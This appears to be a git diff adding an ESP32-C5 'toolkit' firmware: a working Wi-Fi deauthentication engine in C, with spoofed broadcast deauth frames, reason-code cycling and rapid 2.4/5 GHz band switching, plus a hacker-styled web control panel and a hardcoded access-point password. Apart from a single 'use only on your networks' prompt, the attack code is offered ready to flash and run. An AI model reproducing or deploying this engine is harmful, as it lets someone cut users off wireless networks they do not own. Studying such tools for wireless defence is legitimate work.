||||
|
||||
document.getElementById('deauth-start-btn')?.addEventListener('click', function() {
|
||||
if (!selected24ghz && !selected5ghz) {
|
||||
alert('SELECT AT LEAST ONE TARGET');
|
||||
return;
|
||||
}
|
||||
const duration = parseInt(document.getElementById('deauth-duration').value);
|
||||
const body = {duration};
|
||||
if (selected24ghz) body.target_24ghz = selected24ghz;
|
||||
if (selected5ghz) body.target_5ghz = selected5ghz;
|
||||
|
||||
if (!confirm('START DEAUTH ATTACK? USE ONLY ON YOUR NETWORKS!')) return;
|
||||
|
||||
fetch('/api/deauth/start', {
|
||||
method: 'POST',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
body: JSON.stringify(body)
|
||||
})
|
||||
.then(r => r.json())
|
||||
.then(data => {
|
||||
if (data.status === 'success') {
|
||||
this.disabled = true;
|
||||
document.getElementById('deauth-stop-btn').disabled = false;
|
||||
setInterval(updateDeauthStats, 1000);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
function updateDeauthStats() {
|
||||
fetch('/api/deauth/status')
|
||||
.then(r => r.json())
|
||||
.then(data => {
|
||||
document.getElementById('deauth-total').textContent = data.total_packets || 0;
|
||||
document.getElementById('deauth-24').textContent = data.packets_24ghz || 0;
|
||||
document.getElementById('deauth-5').textContent = data.packets_5ghz || 0;
|
||||
document.getElementById('deauth-time').textContent = (data.elapsed_time || 0) + 's';
|
||||
});
|
||||
}
|
||||
|
||||
// Navigation
|
||||
document.querySelectorAll('.nav-item').forEach(item => {
|
||||
item.addEventListener('click', () => {
|
||||
document.querySelectorAll('.nav-item').forEach(i => i.classList.remove('active'));
|
||||
item.classList.add('active');
|
||||
document.querySelectorAll('.page').forEach(p => p.classList.remove('active'));
|
||||
document.getElementById(item.getAttribute('data-page')).classList.add('active');
|
||||
});
|
||||
});
|
||||
|
||||
// Initialize
|
||||
document.addEventListener('DOMContentLoaded', function() {
|
||||
initCharts();
|
||||
loadSystemInfo();
|
||||
updateDashboard();
|
||||
setInterval(updateDashboard, 1000);
|
||||
});
|
||||
|
||||
function loadSystemInfo() {
|
||||
updateDashboard();
|
||||
}
|
||||
'''
|
||||
|
||||
# Replace the placeholder JavaScript
|
||||
html_content = html_content.replace(
|
||||
' // API functions and event handlers would go here...\n // (This is a template - full implementation continues)',
|
||||
js_complete
|
||||
)
|
||||
|
||||
# Convert to C string format
|
||||
c_string = 'static const char index_html[] = \\\n'
|
||||
lines = html_content.split('\n')
|
||||
for i, line in enumerate(lines):
|
||||
escaped = escape_c_string(line)
|
||||
if i < len(lines) - 1:
|
||||
c_string += f'"{escaped}\\n"\\\n'
|
||||
else:
|
||||
c_string += f'"{escaped}";'
|
||||
|
||||
# Write output
|
||||
with open('enhanced_ui_c_string.txt', 'w') as f:
|
||||
f.write(c_string)
|
||||
|
||||
print(f"Converted HTML to C string format")
|
||||
print(f"Original size: {len(html_content)} bytes")
|
||||
print(f"C string size: {len(c_string)} bytes")
|
||||
print("File: enhanced_ui_c_string.txt")
|
||||
312
ESP32-C5-Toolkit/main/deauth_engine.c
Normal file
312
ESP32-C5-Toolkit/main/deauth_engine.c
Normal file
@@ -0,0 +1,312 @@
|
||||
#include "deauth_engine.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_timer.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
#include <string.h>
|
||||
|
||||
static const char *TAG = "deauth_engine";
|
||||
|
||||
// Deauth frame structure
|
||||
typedef struct {
|
||||
uint8_t frame_ctrl[2];
|
||||
uint8_t duration[2];
|
||||
uint8_t da[6];
|
||||
uint8_t sa[6];
|
||||
uint8_t bssid[6];
|
||||
uint8_t seq[2];
|
||||
uint8_t reason[2];
|
||||
} __attribute__((packed)) deauth_frame_simple_t;
|
||||
|
||||
// Global state
|
||||
static volatile bool attack_running = false;
|
||||
static deauth_target_t target_24ghz = {0};
|
||||
static deauth_target_t target_5ghz = {0};
|
||||
static uint32_t attack_duration = 0;
|
||||
static uint32_t attack_start_time = 0;
|
||||
static TaskHandle_t attack_task_handle = NULL;
|
||||
static SemaphoreHandle_t attack_mutex = NULL;
|
||||
|
||||
// Get current time in seconds
|
||||
static uint32_t get_time_sec(void) {
|
||||
return (uint32_t)(esp_timer_get_time() / 1000000ULL);
|
||||
}
|
||||
|
||||
// Fast deauth send
|
||||
static inline void send_deauth_fast(uint8_t *ap_mac, uint16_t reason) {
|
||||
static uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||||
|
||||
deauth_frame_simple_t frame;
|
||||
|
||||
frame.frame_ctrl[0] = 0xC0;
|
||||
frame.frame_ctrl[1] = 0x00;
|
||||
frame.duration[0] = 0x00;
|
||||
frame.duration[1] = 0x00;
|
||||
|
||||
memcpy(frame.da, broadcast, 6);
|
||||
memcpy(frame.sa, ap_mac, 6);
|
||||
memcpy(frame.bssid, ap_mac, 6);
|
||||
|
||||
frame.seq[0] = 0x00;
|
||||
frame.seq[1] = 0x00;
|
||||
frame.reason[0] = reason & 0xFF;
|
||||
frame.reason[1] = (reason >> 8) & 0xFF;
|
||||
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
|
||||
}
|
||||
|
||||
// Aggressive deauth burst for one target
|
||||
static uint32_t send_deauth_burst(deauth_target_t *target) {
|
||||
if (!target->active) return 0;
|
||||
|
||||
static uint16_t reasons[] = {0x0001, 0x0003, 0x0006, 0x0007, 0x0008};
|
||||
uint32_t sent = 0;
|
||||
|
||||
// Set channel
|
||||
esp_wifi_set_channel(target->channel, WIFI_SECOND_CHAN_NONE);
|
||||
|
||||
// Send burst of 10 frames with different reason codes
|
||||
for (int i = 0; i < 10; i++) {
|
||||
send_deauth_fast(target->bssid, reasons[i % 5]);
|
||||
sent++;
|
||||
}
|
||||
|
||||
return sent;
|
||||
}
|
||||
|
||||
// Restore AP Mode
|
||||
static void restore_ap_mode(void) {
|
||||
ESP_LOGI(TAG, "Restoring AP mode...");
|
||||
|
||||
wifi_config_t ap_config = {
|
||||
.ap = {
|
||||
.ssid = "ESP32-C5-Toolkit",
|
||||
.ssid_len = strlen("ESP32-C5-Toolkit"),
|
||||
.password = "h4ck3rm4n",
|
||||
.channel = 1,
|
||||
.max_connection = 4,
|
||||
.authmode = WIFI_AUTH_WPA2_PSK,
|
||||
.pmf_cfg = {.required = false},
|
||||
},
|
||||
};
|
||||
|
||||
esp_wifi_set_mode(WIFI_MODE_APSTA);
|
||||
esp_wifi_set_config(WIFI_IF_AP, &ap_config);
|
||||
}
|
||||
|
||||
// Dual-Band Attack Task
|
||||
static void dual_band_attack_task(void *pvParameters) {
|
||||
ESP_LOGI(TAG, "Dual-band deauth attack started");
|
||||
|
||||
if (target_24ghz.active) {
|
||||
ESP_LOGI(TAG, "2.4GHz Target: %s | CH: %d", target_24ghz.ssid, target_24ghz.channel);
|
||||
}
|
||||
|
||||
if (target_5ghz.active) {
|
||||
ESP_LOGI(TAG, "5GHz Target: %s | CH: %d", target_5ghz.ssid, target_5ghz.channel);
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Duration: %lu seconds", attack_duration);
|
||||
|
||||
// Switch to STA only mode
|
||||
ESP_LOGI(TAG, "Switching to STA mode (AP disabled)...");
|
||||
esp_wifi_set_mode(WIFI_MODE_STA);
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
|
||||
attack_start_time = get_time_sec();
|
||||
target_24ghz.packets_sent = 0;
|
||||
target_5ghz.packets_sent = 0;
|
||||
uint32_t last_log_time = 0;
|
||||
uint32_t cycle_count = 0;
|
||||
|
||||
ESP_LOGI(TAG, "Attack started - rapid band switching");
|
||||
|
||||
// MAIN ATTACK LOOP - Fast switching between bands
|
||||
while (attack_running) {
|
||||
uint32_t elapsed = get_time_sec() - attack_start_time;
|
||||
|
||||
// Check duration
|
||||
if (elapsed >= attack_duration) {
|
||||
ESP_LOGI(TAG, "Attack duration expired");
|
||||
break;
|
||||
}
|
||||
|
||||
// Attack 2.4GHz band (10 packets)
|
||||
if (target_24ghz.active) {
|
||||
uint32_t sent = send_deauth_burst(&target_24ghz);
|
||||
target_24ghz.packets_sent += sent;
|
||||
}
|
||||
|
||||
// Tiny delay for channel switch to settle
|
||||
vTaskDelay(pdMS_TO_TICKS(5));
|
||||
|
||||
// Attack 5GHz band (10 packets)
|
||||
if (target_5ghz.active) {
|
||||
uint32_t sent = send_deauth_burst(&target_5ghz);
|
||||
target_5ghz.packets_sent += sent;
|
||||
}
|
||||
|
||||
// Minimal delay before next cycle
|
||||
vTaskDelay(pdMS_TO_TICKS(5));
|
||||
|
||||
cycle_count++;
|
||||
|
||||
// Log every 2 seconds
|
||||
if (elapsed - last_log_time >= 2) {
|
||||
last_log_time = elapsed;
|
||||
uint32_t remaining = attack_duration - elapsed;
|
||||
uint32_t total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
|
||||
float total_pps = (float)total_packets / (float)(elapsed > 0 ? elapsed : 1);
|
||||
|
||||
ESP_LOGI(TAG, "[%2lu/%2lu sec] Total: %6lu pkt | PPS: %4.0f | Remaining: %2lu sec",
|
||||
elapsed, attack_duration, total_packets, total_pps, remaining);
|
||||
}
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Dual-band attack completed");
|
||||
|
||||
uint32_t total_time = get_time_sec() - attack_start_time;
|
||||
uint32_t total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
|
||||
|
||||
ESP_LOGI(TAG, "Statistics: Total packets: %lu, Total time: %lu seconds", total_packets, total_time);
|
||||
|
||||
attack_running = false;
|
||||
|
||||
// Restore AP mode
|
||||
restore_ap_mode();
|
||||
|
||||
ESP_LOGI(TAG, "Ready for next attack");
|
||||
|
||||
attack_task_handle = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
// Start Dual-Band Attack
|
||||
bool deauth_start_attack(deauth_target_t *target_24ghz_param, deauth_target_t *target_5ghz_param, uint32_t duration) {
|
||||
if (attack_mutex == NULL) {
|
||||
attack_mutex = xSemaphoreCreateMutex();
|
||||
if (attack_mutex == NULL) {
|
||||
ESP_LOGE(TAG, "Failed to create attack mutex");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (xSemaphoreTake(attack_mutex, portMAX_DELAY) != pdTRUE) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (attack_running) {
|
||||
ESP_LOGW(TAG, "Attack already running");
|
||||
xSemaphoreGive(attack_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Reset targets
|
||||
memset(&target_24ghz, 0, sizeof(target_24ghz));
|
||||
memset(&target_5ghz, 0, sizeof(target_5ghz));
|
||||
|
||||
// Copy target data
|
||||
if (target_24ghz_param && target_24ghz_param->active) {
|
||||
memcpy(&target_24ghz, target_24ghz_param, sizeof(target_24ghz));
|
||||
}
|
||||
|
||||
if (target_5ghz_param && target_5ghz_param->active) {
|
||||
memcpy(&target_5ghz, target_5ghz_param, sizeof(target_5ghz));
|
||||
}
|
||||
|
||||
if (!target_24ghz.active && !target_5ghz.active) {
|
||||
ESP_LOGW(TAG, "No targets selected");
|
||||
xSemaphoreGive(attack_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
attack_duration = duration;
|
||||
attack_running = true;
|
||||
|
||||
BaseType_t ret = xTaskCreate(dual_band_attack_task, "dual_attack", 8192, NULL, 5, &attack_task_handle);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create attack task");
|
||||
attack_running = false;
|
||||
xSemaphoreGive(attack_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
xSemaphoreGive(attack_mutex);
|
||||
return true;
|
||||
}
|
||||
|
||||
// Stop attack
|
||||
bool deauth_stop_attack(void) {
|
||||
if (attack_mutex == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (xSemaphoreTake(attack_mutex, portMAX_DELAY) != pdTRUE) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!attack_running) {
|
||||
xSemaphoreGive(attack_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Signal the attack to stop
|
||||
attack_running = false;
|
||||
|
||||
// Get task handle while holding mutex (prevents race condition)
|
||||
TaskHandle_t task_to_delete = attack_task_handle;
|
||||
attack_task_handle = NULL; // Clear handle while mutex is held
|
||||
|
||||
// Release mutex before waiting for task to finish
|
||||
// (task needs mutex to clean up properly)
|
||||
xSemaphoreGive(attack_mutex);
|
||||
|
||||
// Wait for task to finish with timeout
|
||||
int wait_count = 0;
|
||||
while (task_to_delete != NULL && wait_count < 50) {
|
||||
// Check if task still exists
|
||||
eTaskState task_state = eTaskGetState(task_to_delete);
|
||||
if (task_state == eDeleted || task_state == eInvalid) {
|
||||
task_to_delete = NULL;
|
||||
break;
|
||||
}
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
wait_count++;
|
||||
}
|
||||
|
||||
if (task_to_delete != NULL) {
|
||||
ESP_LOGW(TAG, "Attack task didn't terminate cleanly, forcing delete");
|
||||
// Suspend before deletion for safety
|
||||
vTaskSuspend(task_to_delete);
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
vTaskDelete(task_to_delete);
|
||||
restore_ap_mode();
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// Check if attack is running
|
||||
bool deauth_is_running(void) {
|
||||
return attack_running;
|
||||
}
|
||||
|
||||
// Get statistics
|
||||
void deauth_get_stats(uint32_t *total_packets, uint32_t *packets_24ghz, uint32_t *packets_5ghz, uint32_t *elapsed_time) {
|
||||
if (total_packets) {
|
||||
*total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
|
||||
}
|
||||
if (packets_24ghz) {
|
||||
*packets_24ghz = target_24ghz.packets_sent;
|
||||
}
|
||||
if (packets_5ghz) {
|
||||
*packets_5ghz = target_5ghz.packets_sent;
|
||||
}
|
||||
if (elapsed_time && attack_running) {
|
||||
*elapsed_time = get_time_sec() - attack_start_time;
|
||||
} else if (elapsed_time) {
|
||||
*elapsed_time = 0;
|
||||
}
|
||||
}
|
||||
50
ESP32-C5-Toolkit/main/deauth_engine.h
Normal file
50
ESP32-C5-Toolkit/main/deauth_engine.h
Normal file
@@ -0,0 +1,50 @@
|
||||
#ifndef DEAUTH_ENGINE_H
|
||||
#define DEAUTH_ENGINE_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// Target structure
|
||||
typedef struct {
|
||||
uint8_t bssid[6];
|
||||
char ssid[33];
|
||||
uint8_t channel;
|
||||
uint32_t packets_sent;
|
||||
bool active;
|
||||
} deauth_target_t;
|
||||
|
||||
/**
|
||||
* @brief Start dual-band deauth attack
|
||||
*
|
||||
* @param target_24ghz 2.4GHz target (can be NULL if not used)
|
||||
* @param target_5ghz 5GHz target (can be NULL if not used)
|
||||
* @param duration Attack duration in seconds
|
||||
* @return true if attack started successfully
|
||||
*/
|
||||
bool deauth_start_attack(deauth_target_t *target_24ghz, deauth_target_t *target_5ghz, uint32_t duration);
|
||||
|
||||
/**
|
||||
* @brief Stop deauth attack
|
||||
*
|
||||
* @return true if attack stopped successfully
|
||||
*/
|
||||
bool deauth_stop_attack(void);
|
||||
|
||||
/**
|
||||
* @brief Check if attack is running
|
||||
*
|
||||
* @return true if attack is active
|
||||
*/
|
||||
bool deauth_is_running(void);
|
||||
|
||||
/**
|
||||
* @brief Get attack statistics
|
||||
*
|
||||
* @param total_packets Output: total packets sent
|
||||
* @param packets_24ghz Output: 2.4GHz packets sent
|
||||
* @param packets_5ghz Output: 5GHz packets sent
|
||||
* @param elapsed_time Output: elapsed time in seconds
|
||||
*/
|
||||
void deauth_get_stats(uint32_t *total_packets, uint32_t *packets_24ghz, uint32_t *packets_5ghz, uint32_t *elapsed_time);
|
||||
|
||||
#endif /* DEAUTH_ENGINE_H */
|
||||
807
ESP32-C5-Toolkit/main/enhanced_ui_generator.py
Normal file
807
ESP32-C5-Toolkit/main/enhanced_ui_generator.py
Normal file
@@ -0,0 +1,807 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Generate enhanced hacker-style UI for ESP32-C5 Toolkit
|
||||
This script generates the HTML/CSS/JS for the embedded web interface
|
||||
"""
|
||||
|
||||
html_template = '''<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>ESP32-C5 TOOLKIT</title>
|
||||
<script src="https://cdn.jsdelivr.net/npm/chart.js@4.4.0/dist/chart.umd.min.js"></script>
|
||||
<style>
|
||||
@import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&family=Share+Tech+Mono&display=swap');
|
||||
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||
:root {
|
||||
--primary: #00ff41;
|
||||
--secondary: #00d4ff;
|
||||
--danger: #ff0040;
|
||||
--bg-dark: #0a0a0a;
|
||||
--bg-darker: #050505;
|
||||
--bg-panel: #111111;
|
||||
--border: #00ff41;
|
||||
--text: #00ff41;
|
||||
--text-dim: #00aa2a;
|
||||
--glow: 0 0 10px rgba(0, 255, 65, 0.5);
|
||||
}
|
||||
body {
|
||||
font-family: 'JetBrains Mono', 'Share Tech Mono', monospace;
|
||||
background: var(--bg-darker);
|
||||
color: var(--text);
|
||||
overflow-x: hidden;
|
||||
position: relative;
|
||||
}
|
||||
body::before {
|
||||
content: '';
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background:
|
||||
repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(0,255,65,0.03) 2px, rgba(0,255,65,0.03) 4px),
|
||||
radial-gradient(circle at 20% 50%, rgba(0,255,65,0.05) 0%, transparent 50%),
|
||||
radial-gradient(circle at 80% 50%, rgba(0,212,255,0.05) 0%, transparent 50%);
|
||||
pointer-events: none;
|
||||
z-index: 0;
|
||||
}
|
||||
.matrix-bg {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
opacity: 0.1;
|
||||
z-index: 0;
|
||||
pointer-events: none;
|
||||
}
|
||||
.container {
|
||||
display: grid;
|
||||
grid-template-columns: 280px 1fr;
|
||||
min-height: 100vh;
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
}
|
||||
.sidebar {
|
||||
background: var(--bg-panel);
|
||||
border-right: 2px solid var(--border);
|
||||
box-shadow: var(--glow);
|
||||
padding: 20px 0;
|
||||
position: sticky;
|
||||
top: 0;
|
||||
height: 100vh;
|
||||
overflow-y: auto;
|
||||
}
|
||||
.sidebar-header {
|
||||
padding: 20px;
|
||||
border-bottom: 2px solid var(--border);
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
.sidebar-header h1 {
|
||||
font-size: 1.4rem;
|
||||
letter-spacing: 3px;
|
||||
text-transform: uppercase;
|
||||
color: var(--primary);
|
||||
text-shadow: var(--glow);
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
.sidebar-header .subtitle {
|
||||
font-size: 0.7rem;
|
||||
color: var(--text-dim);
|
||||
letter-spacing: 2px;
|
||||
}
|
||||
.nav-menu {
|
||||
list-style: none;
|
||||
}
|
||||
.nav-item {
|
||||
padding: 15px 25px;
|
||||
cursor: pointer;
|
||||
transition: all 0.3s;
|
||||
border-left: 3px solid transparent;
|
||||
position: relative;
|
||||
font-size: 0.9rem;
|
||||
letter-spacing: 1px;
|
||||
}
|
||||
.nav-item::before {
|
||||
content: '> ';
|
||||
opacity: 0;
|
||||
transition: opacity 0.3s;
|
||||
color: var(--primary);
|
||||
}
|
||||
.nav-item:hover, .nav-item.active {
|
||||
background: rgba(0, 255, 65, 0.1);
|
||||
border-left-color: var(--primary);
|
||||
transform: translateX(5px);
|
||||
}
|
||||
.nav-item.active::before, .nav-item:hover::before {
|
||||
opacity: 1;
|
||||
}
|
||||
.content-area {
|
||||
padding: 30px;
|
||||
background: var(--bg-dark);
|
||||
position: relative;
|
||||
}
|
||||
.page {
|
||||
display: none;
|
||||
animation: fadeIn 0.3s;
|
||||
}
|
||||
.page.active {
|
||||
display: block;
|
||||
}
|
||||
@keyframes fadeIn {
|
||||
from { opacity: 0; transform: translateY(10px); }
|
||||
to { opacity: 1; transform: translateY(0); }
|
||||
}
|
||||
.page-header {
|
||||
margin-bottom: 30px;
|
||||
padding-bottom: 15px;
|
||||
border-bottom: 2px solid var(--border);
|
||||
}
|
||||
.page-header h2 {
|
||||
font-size: 1.8rem;
|
||||
letter-spacing: 4px;
|
||||
text-transform: uppercase;
|
||||
color: var(--primary);
|
||||
text-shadow: var(--glow);
|
||||
}
|
||||
.panel {
|
||||
background: var(--bg-panel);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 0;
|
||||
padding: 25px;
|
||||
margin-bottom: 20px;
|
||||
box-shadow: 0 0 20px rgba(0, 255, 65, 0.1);
|
||||
}
|
||||
.panel-header {
|
||||
font-size: 1.1rem;
|
||||
letter-spacing: 2px;
|
||||
margin-bottom: 20px;
|
||||
color: var(--secondary);
|
||||
text-transform: uppercase;
|
||||
border-bottom: 1px solid var(--border);
|
||||
padding-bottom: 10px;
|
||||
}
|
||||
.btn {
|
||||
background: transparent;
|
||||
border: 2px solid var(--border);
|
||||
color: var(--text);
|
||||
padding: 12px 24px;
|
||||
font-family: inherit;
|
||||
font-size: 0.9rem;
|
||||
letter-spacing: 2px;
|
||||
text-transform: uppercase;
|
||||
cursor: pointer;
|
||||
transition: all 0.3s;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
.btn::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: -100%;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: var(--primary);
|
||||
transition: left 0.3s;
|
||||
z-index: -1;
|
||||
}
|
||||
.btn:hover::before {
|
||||
left: 0;
|
||||
}
|
||||
.btn:hover {
|
||||
color: var(--bg-dark);
|
||||
box-shadow: var(--glow);
|
||||
}
|
||||
.btn:disabled {
|
||||
opacity: 0.5;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
.btn-danger {
|
||||
border-color: var(--danger);
|
||||
color: var(--danger);
|
||||
}
|
||||
.btn-danger::before {
|
||||
background: var(--danger);
|
||||
}
|
||||
.btn-danger:hover {
|
||||
color: var(--bg-dark);
|
||||
}
|
||||
.terminal {
|
||||
background: var(--bg-darker);
|
||||
border: 1px solid var(--border);
|
||||
padding: 20px;
|
||||
font-family: 'JetBrains Mono', monospace;
|
||||
font-size: 0.85rem;
|
||||
color: var(--text);
|
||||
min-height: 300px;
|
||||
max-height: 500px;
|
||||
overflow-y: auto;
|
||||
line-height: 1.6;
|
||||
}
|
||||
.terminal-line {
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
.terminal-prompt {
|
||||
color: var(--secondary);
|
||||
}
|
||||
.terminal-output {
|
||||
color: var(--text);
|
||||
}
|
||||
.terminal-error {
|
||||
color: var(--danger);
|
||||
}
|
||||
.graph-container {
|
||||
background: var(--bg-panel);
|
||||
border: 1px solid var(--border);
|
||||
padding: 20px;
|
||||
margin: 20px 0;
|
||||
position: relative;
|
||||
}
|
||||
.graph-container canvas {
|
||||
max-height: 400px;
|
||||
}
|
||||
.stats-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
|
||||
gap: 20px;
|
||||
margin: 20px 0;
|
||||
}
|
||||
.stat-card {
|
||||
background: var(--bg-panel);
|
||||
border: 1px solid var(--border);
|
||||
padding: 20px;
|
||||
text-align: center;
|
||||
}
|
||||
.stat-value {
|
||||
font-size: 2rem;
|
||||
color: var(--primary);
|
||||
text-shadow: var(--glow);
|
||||
margin: 10px 0;
|
||||
}
|
||||
.stat-label {
|
||||
font-size: 0.8rem;
|
||||
color: var(--text-dim);
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 2px;
|
||||
}
|
||||
table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
margin: 20px 0;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
table th {
|
||||
background: var(--bg-panel);
|
||||
border: 1px solid var(--border);
|
||||
padding: 12px;
|
||||
text-align: left;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 1px;
|
||||
color: var(--primary);
|
||||
}
|
||||
table td {
|
||||
border: 1px solid var(--border);
|
||||
padding: 10px 12px;
|
||||
background: var(--bg-darker);
|
||||
}
|
||||
table tr:hover td {
|
||||
background: rgba(0, 255, 65, 0.1);
|
||||
}
|
||||
.form-group {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
.form-label {
|
||||
display: block;
|
||||
margin-bottom: 8px;
|
||||
color: var(--text);
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 1px;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
.form-control {
|
||||
width: 100%;
|
||||
background: var(--bg-darker);
|
||||
border: 1px solid var(--border);
|
||||
color: var(--text);
|
||||
padding: 10px;
|
||||
font-family: inherit;
|
||||
font-size: 0.9rem;
|
||||
}
|
||||
.form-control:focus {
|
||||
outline: none;
|
||||
border-color: var(--primary);
|
||||
box-shadow: 0 0 10px rgba(0, 255, 65, 0.3);
|
||||
}
|
||||
.status-indicator {
|
||||
display: inline-block;
|
||||
width: 10px;
|
||||
height: 10px;
|
||||
border-radius: 50%;
|
||||
margin-right: 8px;
|
||||
animation: pulse 2s infinite;
|
||||
}
|
||||
.status-indicator.active {
|
||||
background: var(--primary);
|
||||
box-shadow: 0 0 10px var(--primary);
|
||||
}
|
||||
.status-indicator.inactive {
|
||||
background: var(--text-dim);
|
||||
}
|
||||
@keyframes pulse {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.5; }
|
||||
}
|
||||
.warning-box {
|
||||
background: rgba(255, 0, 64, 0.1);
|
||||
border: 2px solid var(--danger);
|
||||
padding: 15px;
|
||||
margin: 20px 0;
|
||||
color: var(--danger);
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 1px;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
.channel-map {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(13, 1fr);
|
||||
gap: 5px;
|
||||
margin: 20px 0;
|
||||
}
|
||||
.channel-block {
|
||||
background: var(--bg-panel);
|
||||
border: 1px solid var(--border);
|
||||
padding: 10px;
|
||||
text-align: center;
|
||||
font-size: 0.8rem;
|
||||
position: relative;
|
||||
}
|
||||
.channel-block.active {
|
||||
background: var(--primary);
|
||||
color: var(--bg-dark);
|
||||
box-shadow: var(--glow);
|
||||
}
|
||||
.channel-block.occupied {
|
||||
border-color: var(--secondary);
|
||||
}
|
||||
.signal-bar {
|
||||
height: 4px;
|
||||
background: var(--bg-darker);
|
||||
margin-top: 5px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
.signal-bar-fill {
|
||||
height: 100%;
|
||||
background: linear-gradient(90deg, var(--danger), var(--primary));
|
||||
transition: width 0.3s;
|
||||
}
|
||||
@media (max-width: 768px) {
|
||||
.container {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
.sidebar {
|
||||
position: relative;
|
||||
height: auto;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="sidebar">
|
||||
<div class="sidebar-header">
|
||||
<h1>ESP32-C5</h1>
|
||||
<div class="subtitle">TOOLKIT v2.0</div>
|
||||
</div>
|
||||
<ul class="nav-menu" id="nav">
|
||||
<li class="nav-item active" data-page="dashboard">DASHBOARD</li>
|
||||
<li class="nav-item" data-page="wifi-scan">WIFI SCANNER</li>
|
||||
<li class="nav-item" data-page="packet-sniff">PACKET SNIFFER</li>
|
||||
<li class="nav-item" data-page="bt-scan">BLUETOOTH SCANNER</li>
|
||||
<li class="nav-item" data-page="deauth">DEAUTH ENGINE</li>
|
||||
<li class="nav-item" data-page="signal-analysis">SIGNAL ANALYSIS</li>
|
||||
<li class="nav-item" data-page="channel-map">CHANNEL MAP</li>
|
||||
<li class="nav-item" data-page="settings">SYSTEM CONFIG</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="content-area">
|
||||
<!-- Dashboard -->
|
||||
<div id="dashboard" class="page active">
|
||||
<div class="page-header">
|
||||
<h2>SYSTEM DASHBOARD</h2>
|
||||
</div>
|
||||
<div class="stats-grid">
|
||||
<div class="stat-card">
|
||||
<div class="stat-label">UPTIME</div>
|
||||
<div class="stat-value" id="uptime">00:00:00</div>
|
||||
</div>
|
||||
<div class="stat-card">
|
||||
<div class="stat-label">FREE HEAP</div>
|
||||
<div class="stat-value" id="free-heap">0 KB</div>
|
||||
</div>
|
||||
<div class="stat-card">
|
||||
<div class="stat-label">NETWORKS FOUND</div>
|
||||
<div class="stat-value" id="networks-count">0</div>
|
||||
</div>
|
||||
<div class="stat-card">
|
||||
<div class="stat-label">PACKETS CAPTURED</div>
|
||||
<div class="stat-value" id="packets-count">0</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">SYSTEM INFORMATION</div>
|
||||
<div id="system-info" class="terminal"></div>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<div class="panel-header">NETWORK ACTIVITY</div>
|
||||
<div class="graph-container">
|
||||
<canvas id="network-activity-chart"></canvas>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- WiFi Scanner -->
|
||||
<div id="wifi-scan" class="page">
|
||||
<div class="page-header">
|
||||
